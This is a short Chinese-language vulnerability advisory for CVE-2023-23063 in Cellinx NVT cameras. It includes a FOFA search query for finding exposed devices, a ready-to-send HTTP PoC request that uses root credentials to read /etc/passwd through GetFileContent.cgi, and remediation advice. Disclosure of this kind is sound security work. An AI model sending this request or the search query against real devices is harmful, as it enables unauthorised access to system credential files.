Cellinx NVT 摄像机 GetFileContent.cgi任意文件读取漏洞 （CVE-2023-23063）

0x01 产品简介

Cellinx NVT IP PTZ是韩国Cellinx公司的一个摄像机设备。

0x02 漏洞概述

Cellinx NVT v1.0.6.002b版本存在安全漏洞，该漏洞源于存在本地文件泄露漏洞，攻击者可读取系统密码等敏感信息。

0x03 复现环境

FOFA：body="local/NVT-string.js"

0x04 漏洞复现

PoC

GET /cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd&_=1672577046605 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

0x05 修复建议

对相关文件中传入的参数进行限制。

通过防火墙等安全设备设置访问策略，设置白名单访问。

如非必要，禁止公网访问该系统。